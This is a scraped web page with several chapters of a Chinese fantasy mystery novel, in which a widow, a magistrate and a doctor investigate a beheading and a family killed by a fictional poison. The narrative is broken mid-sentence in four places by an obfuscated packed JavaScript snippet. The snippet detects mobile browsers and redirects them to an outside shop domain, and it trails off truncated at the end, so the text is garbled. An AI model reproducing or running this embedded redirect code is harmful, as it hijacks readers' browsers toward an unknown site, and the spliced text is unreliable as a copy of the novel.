“我的儿啊——我的父啊——我的娘啊——我的兄弟姐妹啊——” 梨娘在帷帽底下翻了个白眼。表面上,仍是恭恭敬敬地扮作侍女陪跪。 赵皆也扑通一声跪在地上。他老胳膊老腿,苦不堪言,还要听几人的鬼腔鬼调: “今生遭苦遭难;来生必然福满。” “今生如意圆满;来生必然惨痛不堪!” “你虽身死,却也新生。” “鸩鬼不死,我难往生!” 五人身材都相仿,面容皆藏在面具下方,只能露出一双黑洞洞的眼睛。莫名跑到灵堂为人哭丧,行为无比滑稽,但由于太过怪诞,反而显得煞有其事起来。 他们不觉得很丢人吗。梨娘在心里腹诽。 巡抚道:“赵知县,陈县出鸩鬼,你应是有责。” 赵知县立刻垂首:“是下官之过。” “嗯。”巡抚道,“现在鸩鬼身死,你也可将功补过。诛杀鸩鬼的是哪位义人?切莫怠慢了人家。” 赵知县道:“这.....事发突然,下官还不知哪位侠客义举。巡抚放心,待下官弄清缘由,必然推举至落仙阁,不能埋没人才。” 巡抚有些不满:“赵知县,你曾犯下包庇妖女之罪。国师天恩,饶你一命,现在你还推三阻四,莫非是还有反意?” 赵知县只好又扑通一声跪下了:“下官不敢,不敢。” “哼。”巡抚道,“尽快带人来见我!我们走!” 可算走了。梨娘刚想起来揉揉酸痛的双腿,却发觉一道视线落在自己身上。 隐隐约约,看不清楚,只觉得那堆彩衣人中,有个人的身形格外熟悉。但只一晃,那人就转过头,和着众人一起,又浩浩荡荡地远去了。 . 赵知县心中发苦。 他是个老派的官员。 眼睁睁地看着人群中多了鸩鬼,眼睁睁看着杀灭鸩鬼的落仙阁壮大兴盛,明白有哪里不对,又没有像妖女一样的本事,只能当一个好色平庸的老头。 他鼻头一酸,两行清泪就要流下。 “大人,有伤悲感秋的时间,我们不如快些行事。你儿子的仇,和穿越者死亡之谜,可不会自己解开。”梨娘有些嫌弃地看着他,道,“或许有人能帮我们,不过要大人破费些了。” . “验尸?”陈奉请在大牢里编草蚂蚱玩,头也不抬,道,“我自然会。但,能做到什么程度,就要看大人出什么样的价钱了?” 赵知县道:“陈奉请,你身上嫌疑尚未洗清。” 陈奉请道:“我一直与梨娘在一处;她有何罪,我便有何罪。” 梨娘道:“妾身倒欠别人五百两雪花银。” 陈奉请立刻道:“我与她毫无干系。” 赵知县头痛,梨娘吃软不吃硬,陈奉请据他所知只爱钱。陈奉请的把柄也好拿捏,但所做之事皆是为了治病救人,拿捏起来很容易让人良心不安。 赵知县最后道:“唉.....你开个价吧。不论如何,需得快些。” . “头是死后被割掉的?” 梨娘有点诧异。她尽力避免去看台上那具无头尸,血淋淋的,她看了好不舒服。 陈奉请道:“手法很熟练,干脆利落,不论别的,让这人脑袋搬家的家伙的力气一定很大。至于到底怎么死的,尸首不全。被人掐死还是被人勒死,还是自己上吊,恕陈某难以辨别。” 总之是窒息而亡。 梨娘忍着恶心道:“还能看出点什么吧?他死前有没有和人搏斗?” 陈奉请道:“有身上有几条麻绳的陈旧勒痕。些许擦伤。再无其它。” 梨娘道:“那些伤有来由,不必再提。墨诚有手有脚,难道未曾反抗过?” 陈奉请道:“或许被迷药迷晕,总之,没有任何新鲜的挣扎痕迹。” 梨娘又细细盘问了许多细节。 墨诚约是今日卯时,被人用迷药迷晕后窒息而亡,死后头被割掉带走,已经差人去寻,毫无线索。 梨娘心中便约莫有了个底儿。她欲开口:“赵.....” 赵知县突然问:“陈奉请。本宫有一事,你需得如实探清。如有半句虚言,本官将治你的罪!” “穿越者,鸩鬼.....他们的身体结构和常人可有不同?” 偏院里,仿佛有无声闷雷炸响。 梨娘惊道:“没有!” 陈奉请道:“没有。” 二人的目光接触一瞬。 梨娘长眉皱起,一派怒然之态,斥道:“大人失言。此种念头可万万不能有。那些家伙和我们是长着一样的心肝脾肺肾,若是多出来一点儿什么,少了一点儿什么,那大燹国岂不是要乱套了?人人都要把心剖出来,证明自己是原装货不成?” 她不笑时,有种冷意从骨子里沁出来。 “.......”陈奉请笑道,“梨娘,大人只是秉公办案。你怎么敢质疑大人呢?” “.......”梨娘弯起嘴唇,翘起眼梢,又是一副我见犹怜之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704791|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 态,柔柔道,“民女不敢。忆起旧事,一时激动罢了。” 赵知县冷汗潺潺,道:“哈哈,我知你贴心。开个玩笑罢了。” 气氛有些僵硬。陈奉请拿布巾擦拭手中血污,笑道:“在我们民间,可是很怕无头尸的。” 两个人皆看着他。 陈奉请便继续道:“见了无头尸,便知道山人又来了。谁都知道山人专杀鸩鬼,杀完了,还会取走它们的头,用来祭天。他们自称有专门的方法辨别鸩鬼,可谁知道究竟有没有效呢?” “你看,就算杀错了,我们也不知道,不是吗?” “毕竟所有人都一模一样。” 陈奉请满意地看着梨娘的脸色越来越差。 这漂亮女人笑也可怜,哭也可爱;不过,还是生气的时候更真实些。 . 这人真是混蛋。 赵知县真想一头撞死。真想给多嘴的自己两巴掌。 也好过在这里煎熬。 山人山人,为啥叫山人? 因为落仙阁的大人们,也是鸩鬼的处刑人。 但干的事情实在太过畜生,罔顾人伦,所以民间自动把仙人的人去掉了,叫他们山人。 他心想,如果让陈奉请知道梨娘以前便是处刑人头头,他一定会吓得屁滚尿流。 哪怕梨娘落难,他也一样不敢惹。 她砍下过多少人头,谁能数得清了? 惹不起梨娘,他还惹不起陈奉请一个小大夫了? 他当即清清嗓子,准备拿起官威,好好斥责陈奉请一番,忽地,见到角落里,好像有个白影子。 惨白面孔,凌乱长发,在这义庄里,当真是比鬼还可怕。 “啊!!!” . 梨娘上前两步,捞起险些晕倒的墨画,只觉得臂中身躯轻飘飘的,仿佛下一秒就要被风吹走了。 “墨画,你怎么来了?” 墨画嘴唇哆嗦着,眼睛往着那具无头尸身上瞟。 “姐姐,我来看看我弟弟。” 她说出来的话,自己都觉得不像是自己嘴唇里发出来的。墨画说:“姐姐,我梦到我弟弟了。他说他好痛啊。” 陈奉请这个黑心大夫,对尸身想来也不会有多尊敬。梨娘瞟了一眼,便心中发憷。对亲眷来说,这场面更是实在太过冲击。 梨娘急道:“你瞧瞧,你都成什么样子了。你得顾好自己,你弟弟的事,有知县大人替你伸冤,有什么好担心的?我先带你出去歇息,好不好?” 墨画木木地喊了一句:“姐姐,我睡不着。” 赵知县心疼坏了,搂住墨画:“画儿,你跟你姐姐去歇着吧。这儿怎么是你能来的地方?” “啧。”墨画打开他的手,“你给我滚。” “画儿,你说什么?” “我说你给我滚!我,我不想看到你。我嫁给你只是想有个家!现在我的家没了!我唯一骨肉相连的人死了!我怎么办?就是你害死了我弟弟!就是你害死了我弟弟!什么父母官,你才是杀人凶手!” 墨画扑进梨娘怀里,放声大哭起来。 5. 第5章 墨画 墨画的精神已经濒临崩溃。 梨娘很有经验,这样子的人根本听不进去别人在说什么,事后想起来,又总是后悔。 梨娘打断:“你瞧你,又在说什么胡话?” 墨画哭道:“真的,是真的。在我弟弟死前,赵大人训斥了一通他。我说过,他一直气性大,不服管。或许赵皆这个人面兽心之徒厌烦了他,所以把他害死.....!” “竟有此事?” 梨娘犯了难,如若真是赵皆一时犯错,她该要多少当封口费呢? “姐姐,姐姐。”墨画抓着她,像抓着一根唯一的救命稻草,双眼通红,“你会帮我的,对吗?你没让我们冻死饿死在大阜的雪地里,也没让我们在疯皇帝的刑房里流血流死。世人都说你是菩萨转世。求你再帮帮我吧,姐姐,我会为你烧香、诵经、祈福一辈子!” 这就不好了,梨娘只想着收别人的封口费,可没钱付给别人封口费。 梨娘瞥了一眼旁边莫名其妙饶有兴致的陈奉请,和心碎的赵知县,道:“换个地方,你细细讲与我听。” . 墨画和墨诚相依为命。 主要是墨诚“依”,墨画当他是命根子。 大秉重男轻女之风,最为严重,其制度之严苛,到了一种匪夷所思的地步。他国人,如大燹、大阜人,均十分费解。如有大秉人在别国,一定会因为此事被取笑。 墨家一个土生土长的大阜家族,莫名其妙也染上此种陋习,真是令人叹惋。 不过,这件事也并非没有缘由:墨画全靠着她弟弟才能活下来。 疯皇帝在全国广征徭役,父母已经被抓走,如果不是家里还有一个人,墨画就要被带走了。 无论这个人是弟弟、妹妹,还是姐姐、哥哥,能替墨画服苦役,墨画都会一辈子感激那个人。 三个月后,传来了父母的死讯;又三个月后,墨诚没死,活着回来了。 听说是上官皇后。 她让皇帝相信,土地之下并没有埋藏着财宝。她让皇帝相信,广征徭役、费时费力挖穿地底是无意义的举动! 没人知道她是怎么做到的,人们传得神乎其神,都在说上官皇后有仙法。 墨画从那时起就开始崇拜上官皇后了。 她的第一次崇拜只持续了三个月。 因为疯皇帝又把她弟抓走了。 他要修建一所能够流传千年的宫殿。 这次她弟只走了一个月,还是因为上官皇后。 上官皇后一把火点着了初具雏形的宫殿,放话说如果疯皇帝要继续这么做,就和他一起死。 疯皇帝差点就死了,一个月没上朝。如果真死在里面就好了。 墨画第二次崇拜起了上官皇后。 她好像无所不能,无所不敢。 她的第二次崇拜又持续了三个月。 理由很简单,因为她吃不饱饭了,于是停掉了自己的崇拜,希望上官皇后再想想办法。 上官梨能有什么办法? 死了太多人了,没人种地,饿肚子是很平常的事。她不是神仙,不能变出粮食来。 大家吃不饱饭,都没人愿意、也没力气配合疯皇帝的奇思妙想了。疯皇帝大怒,于是又搞出了新发明。 酷刑。 对上对下都如出一辙的。 酷刑。 听说上官皇后因莫须有之罪被关进了大牢,墨画很为她担心。 上官皇后被关了整整一个月。她出来后,忽地征收了一批人手,据说,是为了她缝制新衣。 墨画姐弟因为有手有脚被选中了。薪水微薄,但这份工作很简单,又白送能活下去的粮食,简直是无比幸运的事。 哪怕大阜兵败、城破如山倒,墨画再次见到上官皇后的时候,她疲惫不堪,身上的伤痕被大雨淋得透湿,痛得打颤,还抱着一个孱弱的孩童,无处可去,无家可归,堪称落魄至极。 她也依然深深地、无比崇拜着上官皇后。 . 墨诚死了,上官皇后就是她唯一的亲人。 墨画把委屈全倒给她听:“姐姐你知道的,墨诚因为早年经历,性格一直不太好,也一直有不好的习惯。他今天不知为何那么早地来寻我,刚好撞见赵大人。” “赵大人一直瞧不起他,误以为他又是在外面寻欢作乐。赵皆一个大燹人,他懂什么?我让赵皆不要管他,他偏偏要管。于是他们就吵了起来。” “墨诚平时也不会那样还嘴。赵大人甩了他一巴掌,让他滚出去。如果他没离开,就不会,就不会.....” 墨画又痛哭起来。 她的眼泪已经流干了。 穿越者刚来时总是太不谨慎。 梨娘心想,穿越者明明不熟悉言语,不熟悉文字,更不熟悉原身性格,怎么敢与人争吵。 一个口癖,一个成语,一句无心而出的话,就会成为祸端! 这样看来,赵皆不会是杀死墨诚的凶手。 他一照面便认出墨诚是穿越者,如果他想要墨诚的命,或者想要自己的名声,应该直接让人把穿越者拿下,当场送到落仙阁,也算功绩一桩。 他是因为亲人被穿、一时惶然,才把墨诚放走。 想通其中关窍,梨娘轻声安慰道:“赵大人怎么会是害墨诚呢?他不是在拼尽全力帮你、想找出害死你弟弟的凶手吗?” 墨画道:“连姐姐也这么说么?我信姐姐,可是,可是.....” 梨娘身上有种淡淡的香味。 像是某种甜甜的茎秆的气味,让人想到阳光、草地和露水,以及提着篮子采药的漂亮女人。 原本的上官皇后身上一定不是这种气味。 墨画不相信上官皇后不是无所不能的。 她几乎要在这令人安心的怀抱中睡着了。 “其实我今天是骗你的。”梨娘轻轻在她耳边道,语带蛊惑之意,“你弟弟早就在几日前死了,你也发现了,对么?他被鸩占鹊巢,虽然皮囊还活着,但他早死了。如果你要找真正的凶手,他今天也刚死啦。” “呀!”墨画猛地弹起来,捂住耳朵,梨娘说的话,在她耳中变得十分可怖。 “姐姐,你在说什么?”墨画尖叫,“什么鸩占鹊巢,我听不懂!” 梨娘笑了一下,她把嘴唇弯起的动作叫做笑,殊不知她眼底没有笑意,眉眼又格外锋利,看起来显得鬼气森森的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704792|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,唇瓣一张一合: “你我皆是大阜人。这世上谁能不知鸩鬼,你我都不可能不知。” 疯皇帝! 那种歇斯底里又涌上来。墨画口不择言,道:“对,我,我知道!知道又怎么样?如果姐姐说墨诚好了,他就是好了!我愿意就这么过下去!我,如果没有亲人,我孤零零一个人活在这世上,又有什么意思呢?” 梨娘道:“也就是说,不是你杀了他?” 墨画哭道:“不是我。不是我!真的不是我!我没有。我绝对没有!我是想着就这么过下去的!我就是这么想的!” 瞧见再也问不出什么,梨娘将墨画抱在怀里,像哄孩子那样轻轻拍着她的背,柔声道:“好妹妹,我知道你,抱歉啦,我故意吓你。实在是出了这样的一桩事,我心里也慌得很,有些口不择言,你原谅我,好不好?” . 梨娘面带疲惫,推开义庄的门。 她讨厌做坏人,可是总是不得不做。 恩情摆在前,梨娘是很不乐意逼迫墨画的。 只是为了赚些银两。 赵皆当场窜上前来,连声询问墨画状况如何。 义庄内的气味很难闻,梨娘一天水米未进,胃液翻腾,一阵恶心,直接推开他冲去角落干呕。 唉。 赵皆愣了,嗅了嗅自己的袖子,难过得苍老了几分:“难道我竟让人难忍至此?” 陈奉请用布巾擦净双手血污,笑道:“大人如此不懂女人心,怪不得连你的小妾都厌弃你。梨娘为大人忙里忙外,大人难道还吝啬些餐食么?” 饿到极致的时候,确实就会容易想吐。 赵皆恍然大悟,连声让人准备些餐饭;不过义庄上本就晦气,人手稀少,费力叫来的小厮懵懵然不知发生何事,把赵皆气得大骂。 梨娘十六岁的时候,连熬一周,还可以和疯皇帝互相殴打,丝毫不落下风。 现在十年过去,毫无长进,反而柔弱至此。 真是丢人! 她直起腰,擦擦泪花,打算当什么都没发生过。 一个什么东西打算劈头盖脸砸到她的脸上。梨娘下意识接住,手心被刺绣扎得痒痒的,是一个香囊。 散发着令人心神宁静的气味。 紧紧皱成一团的胃似乎好了许多。 香囊的原本主人不言而喻。 梨娘有些感动。 原来陈奉请是初具人形的。 她刚想开口,说出些缓和的言语,陈奉请先一步道:“喜脉免费。” ? “我如果把出喜脉,不收钱。就当做沾沾喜气。我看夫人近来可能需要?” 梨娘的感动顿时化为滔天怒火。 她觉得自己额角的青筋都在跳,柔柔道:“稍微有些道德的人,都轻易不开寡妇的笑话,不知大夫可知啊?” “毕竟我这个人,只爱钱,不爱道德,又恰巧长得英俊潇洒。”陈奉请笑道,神采飞扬,显得很衣冠禽兽,“万一夫人产生了些什么不该有的心思,可怎么办呢?” “大夫真是太多虑了,真的。”梨娘真诚道,“妾身都宁可去找前夫复合,也不会想这种事。实在是太恐怖了。” 6. 第6章 奇闻 一个包子下肚,梨娘终于从头晕眼花的状态里脱离,可以谈点正事了。 她欲问赵丰尸身如何,却见其余二人频频侧目,面露怜悯,不由得也转头望去: 小宝狼吞虎咽,风卷残云,前一口还没下肚,就迫不及待地撕咬下一口。真叫人疑心他是否是饿死鬼投胎。 赵皆震惊道:“你,你居然不给孩子饭吃么?” 梨娘掩面。 她对唯一的孩子堪称溺爱。 但他刚出生的时候,前夫扔下一封和离书就走了,梨娘身子又虚弱,做不了活。 大约是那时让小宝受饿的缘故罢。 . “闲话少提。若是大人开恩,愿意涨一涨我的酬劳,梨娘自然欢迎。”梨娘用力咬了一口包子,道,“不止大人可否做一做这大好人呢?” “我儿子的仇尚且未报。”赵知县连连摆手,道,“还是求您继续做正事罢!” “我真的很好奇。”陈奉请此人食不厌精,脍不厌细,根本不吃包子,真是最令人讨厌的家伙,“让朝廷命官前倨后恭,梨娘究竟何许人也?” “大人如何做派,梨娘怎能决定?”梨娘道,“大约是大人比较宽厚温和,礼贤下士。” “我出五千两。”陈奉请笑道,“足够么?” “......”梨娘真的心动了。 她想起自己的通缉令上价值千金,陈奉请把她卖了还能赚很多差价。她忍痛拒绝:“梨娘不过平常妇人罢了。” 赵皆更是生怕梨娘身份被揭,恼羞成怒,大开杀戒,把陈县变成尸山血海,于是立刻引开话题,哭诉自己亲子死得惨痛。 . 赵丰是赵皆最小的儿子,也是他最疼爱的孩子。 这孩子三岁读史,五岁言诗,十五岁御前进言,得国师称赞,将来必成大器——然后第二天就发了一场高烧,请来仙人做法,好不容易保全一命。 但从此之后,一用功就头痛无比。 也就渐渐变得纨绔,每日游手好闲,招猫逗狗打发时间。 赵皆心知这是有人故意毁了他最疼爱的小儿子。从此行事愈发谨慎小心,哪怕被贬到陈县,他也是夹着尾巴过活。 陈县有一本地富商独女,姓陈。陈家小姐不想把家业拱手让人,有意招赘婿入门。赵皆便把小儿子送了过去。 赵丰进门后,因为不知冷知热,不会甜言蜜语,常口出惊人之语,很快被陈家小姐抛之脑后。 而且谁见到自己的夫君一天到晚地对着牛说话,也会觉得这人脑子坏了。 陈家小姐与人为善,豪爽大气,常常接济穷人,名声十分不错。 想杀赵丰之人或许还能找出那么两三个;对陈家小姐满腹怨言、乃至毒杀她满门的,在陈县打着灯笼也难寻。 . 梨娘不信。 她道:“总有些坏人,或因为嫉妒啦,谋财啦,或者一点口角,就起了不该有的念头。赵大人,这可是你亲家和亲儿子,你就真的再也想不出什么可疑人物了?” 赵皆苦笑:“府内金银财物丝毫未损。若有端倪,我便不会为难梨娘。” 因为无人有动机下这等毒手,他才以为是苏梨儿重操旧业了。 梨娘只好暂且放下,问陈奉请道:“尸身上可否能看出些什么来?” 陈奉请沉思一阵,笑道:“大约是,凶手力气很小?个子还很矮?” 赵皆错愕道:“是女人所为?” 陈奉请看了一眼梨娘,笑道:“女子中也有骁勇善战者,男子中也颇有不善文武者,如此判断,赵大人浅薄了。” 梨娘被看了一眼,感觉莫名其妙。 . 赵丰的尸身是完整的。 他被人从背后捅穿心脏,但第一下捅的太浅,于是又从原位置补了第二刀、第三刀。等到第四刀,人才断了气。 凶手慌慌张张的,连凶器都没带走。 那柄奇特纹路的匕首还插在他背心呢。 其余陈家族人,皆是饮用有毒井水至死。 用的乃是一种奇毒,毒性凶猛。 人饮用后三日,毫无异状,仅仅是眼睛敏感,容易流泪。但三日后,则七窍流血,暴毙而亡。 . “至于匕首,苏.....梨娘,你且同我来。” 梨娘拿起第四个包子,叮嘱小宝别信陈奉请的任何鬼话。如果有人要对自己不利,记得大叫。 她嚼着包子,看到赵皆从袖中小心翼翼取出一把匕首。 它十分精巧,约女子小臂长,外形宛如流动的海浪。刀柄有格外奇特的纹路。 乍一看,像是一条鱼。 可是细看,此鱼无尾无鳍,鱼身上,只有四个叠在一起的圆圈。 梨娘太熟悉了,那是眼纹。 梨娘以前也有这么一对匕首。 后来梨娘跑路的时候,把它们丢了。 “.....这实在太像落仙阁之物了。”赵皆道,“希望是我多想了。” “大人真是眼明心亮,这正是落仙阁出品。童叟无欺。”梨娘不笑了。她拿过匕首,那匕首在她掌中上下翻飞,就像她的肢体那般自如。 赵皆看得呆了,那愚钝可爱的匕首在梨娘手中,竟是散发出一种鬼魅之感,再无怀疑,道:“可你不是说.....!” 梨娘并不答,反问道:“大人,你儿子是鸩鬼么?” “不是,绝不是!”赵皆道,“我从小看着他长大的,怎么会认不出自己的儿子换了个芯子?他死前一日,我还同他一起用饭。” 梨娘把匕首抛还给他,冷淡道:“落仙阁只杀鸩鬼。不是都城来人。” “那我儿!”赵皆一时头晕目眩,惊道,“那便是搞错了!” “不会!”梨娘平静道,“绝不会!” “苏梨儿。”赵皆怒道,“你已经不需要再给他们卖命了。你做什么还替他们说话?” “我只说不是处刑人亲自下的手。”梨娘道,“这是客观事实。但落仙阁有个传统,招募新人时......” 梨娘正欲细讲,忽而听得一阵碗碟破碎之声,以及一声孩童的大叫: “娘——” 当即七魂丢了六魄。 . “娘啊,她抢我饭吃!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704793|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >小宝指着忽然闯入的女子大叫。 梨娘心想,自己为什么会生这么个玩意出来?到底像谁? 梨娘扶着心口,柔柔道:“儿啊,你差点就没有娘了。” 女子生得落落大方,一双丹凤眼格外明亮。从小孩嘴里抢包子吃,也做得格外心安理得。 她看向赵皆,一身白孝格外扎眼:“阿翁。” 赵皆的头又开始痛起来了:“宝珠,你回来,怎么不打声招呼?” 陈宝珠道:“别人杀我全家,也没和我打声招呼。” 赵皆:“此等祸事,我也是悲痛万分。” “老匹夫,与你家结亲,真是我陈宝珠做过最错的事!”陈宝珠拍案而起,怒道,“你不告诉我,你儿子脑子有毛病就算了,没成想还惹上仇家,连累我一家性命!” “哼,现在我成了孤家寡人,什么也不怕。若是不能讨回个公道,要宝珠此身何用!” “这,这.....”赵皆苦道,“这也不可急于一时,不可冲动啊.....” 眼看事情要无法收场,梨娘轻轻一拨,把赵皆推至一边,上前福了一礼: “梨娘蒙娘子大恩,一直盼望相见。未曾突闻娘子家中祸事,便急急赶来,望能聊尽绵薄之力。娘子需以自身为重,走了极端,可只让梨娘心中绞痛,让恶人心里痛快呀。” 梨娘一番话说的妥帖,陈明珠并非不讲理之人,不过遭逢大事,以为自己冷静非常,实则已经濒临极限罢了。 陈宝珠能瞧出来梨娘眼波里,全是担忧和心疼。虽然和眼前的女子无亲无故,但眼前这种真诚的关切,让她有种可以在梨娘怀里痛痛快快哭一场的冲动。 她鼻头一酸,别过脸去,道:“阿翁,对不住。我....” “阿翁知道。阿翁知道。”赵皆连连道。 梨娘轻轻拢住她,一手轻轻地拍着她的背。 她身上有种甜甜的草木香。陈宝珠压下流泪的冲动,忍不住道:“我竟不记得夫人。” “娘子自然不记得我。”梨娘微笑道,“梨娘身无长技,家境十分窘迫。陈家常常施粥,梨娘去讨要时,自然羞得不敢以真面目示人。” 自然是托词。 梨娘自己没到活不下去的地步,也不会去分别人救命的汤食。 梨娘很擅长让别人信任她。 陈宝珠不就是么?三言两语,就已经当她是雪中送炭的知己了。 梨娘道:“此案蹊跷。妾身欲替娘子查明真相,却全无头绪。” “好姐姐,你不知其中弯绕,被人蒙在鼓里。”提起这事,陈宝珠怒火又上涌,“你不知,真正的杀人凶手就坐在这桌上,和我们一同饮食呢!” 梨娘顺着陈明珠的手指看去。 陈奉请无辜道:“这位娘子,你可别血口喷人呐。我治病救人,钱到病除,有口皆碑。” 这查案的三个人,居然全有嫌疑,也是一件奇闻。 三人面面相觑。 赵皆震撼,陈奉请还是那副无所谓的轻佻模样,梨娘十分心累。 “我怎么会错?”陈宝珠冷笑道,“那毒,是你亲手制的!” 7. 第7章 有悔 陈奉请不认,陈宝珠拍出一叠书信,怒道:“此乃我夫君遗书。你还想抵赖不成?!” 原来,陈宝珠瞧不起墨诚,她外出经商之时,生怕他惹出祸端,败坏她门楣。于是便要求赵丰时时写信,汇报自己行踪。 赵丰反正也闲来无事,每次写信都写得又臭又长,恨不得连自己今天晚饭吃了什么都写进去。 梨娘一目十行,略过那些之乎者也,果然找到了些许端倪: “.....今日陈大夫来看诊,不信轮回转世之说,更不信得道成仙之法,莫论祸福相依这一世间永恒规律。 怎么可以这样呢?难道我亲眼所见,还能有假不成?那祸乱都城的妖女,不就是一个活神仙吗?我堵上我这双眼睛发誓,我亲眼瞧见她让人起死回生呢! 我决定再找出牛公子的转世,希望他这一辈子,能托生到一个能说话的东西上。哪怕是个鹦鹉呢!我好能向陈大夫证明。 ......陈大夫又嘲笑我是个妻管严。他也不瞧瞧自己,那么讨人嫌,恐怕要孤零零一辈子。 我便不停地炫耀你多么多么精明能干,上辈子一定也是仙女转世。我从日升说到日落,他终于愿意承认了,还告诉了我许多秘诀。 让人起死回生的东西他没见到过。但是让人陷入假死、后又奇迹复生的东西,他倒是知道不少。 比如一种特殊的毒药。 他笑着告诉我,这药是专门配给那些自命不凡、眼高于顶的家伙的。 这毒药可以让人在饮用后三日内不死。 非但不死,反而觉得神清气爽,脑袋敏捷多思,时时想起过去的场景。三日后,则人七窍流血,暴毙而亡。 他还说,三日后的“暴毙”并非死亡,而是一种特殊的假死。这毒药毒倒了身体,脑子还是清醒的,时时刻刻遭受死亡的痛苦。 如果有人在一个时辰里喂给中毒人解药,这人还能活着。若是没人及时喂解药,那也就再这样的担惊受怕中,彻底死了。 陈大夫笑着说,这样一来,不论什么样的高傲人物,从此都只能夹着尾巴过活。 他给这药命名为“有悔”,说我若是再说这些没用的,就喂给我尝尝,叫我明白什么是后悔。 宝珠,陈大夫一定是脑袋有毛病,总有这种扭曲想法。你以后离他远远的,咱们就算病死,也不要再请他了。” . 此种毒药,世间罕有。 怪不得赵丰一死,陈奉请立刻来要挟梨娘作伪证。 梨娘心道,这实在是太可疑了。 陈宝珠揪住陈奉请的领子,抬手想打,赵皆赶忙上来劝架,拉扯间,陈奉请无辜道:“他实在太烦人。我不过说些话来吓吓他。你们陈家出手阔绰大方,我与你们素无仇怨。” 梨娘也劝道:“娘子不如听听他如何说。毒,现在看来只有陈大夫会做。若是他不交代出个什么人来,再让大人把他抓起来不迟。” 虽话是这么说,梨娘并不觉得陈奉请能举出什么人来。还是那个原因:如果他的话会让人相信,他就不必要挟梨娘了。 果然,陈奉请苦恼道:“确是有人买了我的毒药。不过,此人极为特殊,恐大人不信。” 梨娘问:“究竟是谁?” 陈奉请道:“赵丰。” 此话一出,不光陈宝珠大怒,梨娘也是十分诧异。 哪有死者自己买毒药的? 偏偏赵丰自己从背后中刀死了。他也不能是自杀,更让此事显得迷雾重重。 陈宝珠道:“好啊,你这个家伙。阿翁,还不快些把人抓了,好好审问。他分明是狡辩,仗着赵丰没法回嘴!” 赵皆道:“这......” 此事难办,他下意识看向梨娘。 整个陈县没有第二个大夫。 一众尸体的尸检都是陈奉请做的。如果他在其中隐藏了什么事,谁也瞧不出来。 梨娘道:“陈大夫,现在种种线索,可都指向大夫你。如果你有瞒下什么消息,若是现在不说,可就没地方说了。” 陈奉请笑道:“梨娘要多少银两,才愿意为我寻回公道呢?” 梨娘假笑道:“这种时候还在贫嘴?妾身是个本分人,从不背刺恩人。” “好吧,我说。”陈奉请举手投降,道,“陈家人身中的,正是我的‘有悔’。除了陈家人外,赵丰其实也身中此毒,但他及时吃下解药,并没有死。” 一个可怕的念头从梨娘脑海中划过。 她脱口而出:“是赵丰自己下的毒?” “谁知道呢?”陈奉请摊手,道,“他买走‘有悔’的时候,可谓兴高采烈,一点儿也看不出悔意。” 莫非是赵丰自己对陈家心存恨意,所以在井水中下毒,想要毒死全家、自己逍遥? 可是,这样也说不通。 陈宝珠面如火烧,抓着梨娘的手狂摇,道:“姐姐!连你也听信他的鬼话?阿翁!还不快把这人抓起来,对他用刑,不怕他吐不出什么东西来!” “娘子。”梨娘反手握住她的手,陈宝珠的手细嫩,又出了许多汗,知道她精神现在高度紧张,梨娘柔声道,“陈大夫没必要害人。他毕竟违抗国师禁令,在这大燹国做大夫。确实心黑手狠,算不得什么好人,不过做的事是好事。梨娘虽然讨厌他,但轻易不会怀疑他。” 梨娘转向陈奉请,道:“大夫,梨娘为你多说好话。你可不能再有所隐瞒。” 陈奉请已经领会了她的意图,道:“梨娘请讲。” “如果有人中了‘有悔’,又吃了解药。你能诊出她曾经中过毒么?” 陈奉请道:“当然。” 烛光下,陈宝珠的神色晦暗不明,胸脯上下活动,用力喘着粗气,仿佛这里的空气让她很难忍受似的。 赵皆的目光颤抖,花白胡子搞笑地抖动着,道:“不是吧。宝珠,你糊涂啊——” 如果真是赵丰害死陈家其他人。 那么他为什么不挑一个大家都在的时候呢? 留一个悲痛欲绝的陈宝珠,是怕自己能活下来吗? 他再怎么脑子不好使,也该知道斩草除根的道理吧? “......”陈宝珠道,“三日前,我甫一进门,赵丰那家伙便殷勤地凑上来,递给我水喝。他经常这么做,我便一点怀疑都没有。原来是那时,我便中了毒。” “唉呀!”赵皆心中绞痛,儿子害了儿媳一家,他心中五味杂陈,不知该如何言说。 “宝珠啊!你为何.....你何苦要搭上自己?杀人本就要偿命啊!” 陈宝珠却道:“若真是我亲手报仇,也便好了!我必然不会让那厮死得那么轻快!我要用他的血肉祭奠我父母!” 她目眦欲裂,情绪一时激动,眼眶鼻腔中竟流出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new 